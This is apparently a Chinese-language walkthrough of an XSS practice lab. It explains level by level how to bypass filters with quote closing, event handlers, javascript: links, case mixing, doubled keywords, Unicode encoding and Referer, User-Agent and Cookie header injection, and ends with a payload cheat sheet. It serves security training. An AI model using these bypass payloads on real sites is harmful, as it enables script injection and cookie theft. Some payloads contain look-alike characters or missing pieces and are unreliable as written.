文章目录
1.Level
无过滤法
2.Level2
“>闭合
“>&submit=搜索
通过观察发现alert里的引号没了,是不是被过滤了呢
因为如果该语句类似如下
<“Str”>,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个”>扔给前面的雨具语句
3.Level3
单引号闭合+事件函数
回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里
而input可以执行如下的事件函数
主要事件表:
这些都是可供参考的模式
因此构造payload:’ οnclick= alert(“123”)
出现了红色的onclick,前面用双引号不出现
但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号
因此应该补一个单引号,所以
payload:’ οnclick=’ alert(“123”);
4.Level4
双引号闭合+事件函数
输入
发现返回了
看这里也是用到了input,那么还是用事件函数
payload:" οnclick=alert(‘123’);"
5.Level5
引号闭合+链接
输入
发现变成
说明script被过滤
还是input,还得用事件函数
输入" οnclick= "alert(‘123’);
o和n被插入了_,也就是说需要做关键字绕过
因此只能再寻找方法:"><a href=javascript:alert(‘xss’)>xss
发现这个方式没有过滤
6.Level6
大小写绕过
script还是被过滤,不能用
onclicke也被过滤,不能用
href也是,那咋办呢
大小写绕过:"><a hRef=javascript:alert(‘xss’)>xss
7.Level7
多写绕过
这一关会直接删除script,会删除on
绕过方法很简单,多写就行:" oonnclick=alert(‘123’);"
即中间多写一个on,两边再接起来就行
8.Level8
unicode编码
href 和script都被过滤,大小写也没用
最后只能使用unicode编码
https://c.runoob.com/front-end/3602/
javascrIpt:alert('xss')
9.Level9
unicode编码+//注释
或unicode编码+/**/注释
输入http://www.baidu.com,没有报错
输入:javascript:alert(‘xss’)//http://www.baidu.com
Unicode编码一下javascript:alert(‘xss’)
//表示注释后面的内容
javascript:alert(‘xss’)//http://
10.Level10
隐藏标签赋值
需为t_sort赋值,需把type赋值为空,不然不显示
t_sort=123" type=“” οnclick="alert(‘xss’)
11.Level11
手动编辑赋值
这一关也存在隐藏标签
t_link=123" type=“” οnclick=“alert(‘xss’)
t_history=123” type=“” οnclick=“alert(‘xss’)
t_sort=123” type=“” οnclick=“alert(‘xss’)
t_ref=123” type=“” οnclick="alert(‘xss’)
逐个试完还是只有t_sort有变化,但type被写死了
既然语句写不进去,那么手动编辑就好了,强制给type赋值
referer注入
方法二是使用bp抓包通过修改入口referer链接实现
12.Level12
和上一关一模一样的做法
12关方法二
UA头注入
13.Level13
Cookie注入
14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行
14.xss绕过总结
1)测试需观察点
浏览器左下角查看器,查找注入点所在代码
burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息
2)无过滤法
3)">闭合
">
4)单引号闭合+事件函数
’ οnclick=’ alert(“123”);
5)双引号闭合+事件函数
" οnclick=alert(‘123’);"
6)引号闭合+链接
"><a href=javascript:alert(‘xss’)>xss
7)大小写绕过
"><a hRef=javascript:alert(‘xss’)>xss
8)多写绕过
" oonnclick=alert(‘123’);"
9)unicode编码
javascript:alert(‘xss’)
javascrIpt:alert(‘xss’)
10)unicode编码+//注释
javascript:alert(‘xss’)//http://www.baidu.com
javascript:alert(‘xss’)//http://
11)隐藏标签赋值
t_sort=123" type=“” οnclick="alert(‘xss’)
12)referer注入
“ type=”” οnclick=”alert(document.cookie)
13)UA头注入
“ type=”” οnclick=”alert(document.cookie)
14)Cookie注入
“ οnclick="alert(‘xss’) type=”
15)`替换()
16)实体编码绕过
17)–!>注释绕过
注释方式有两种: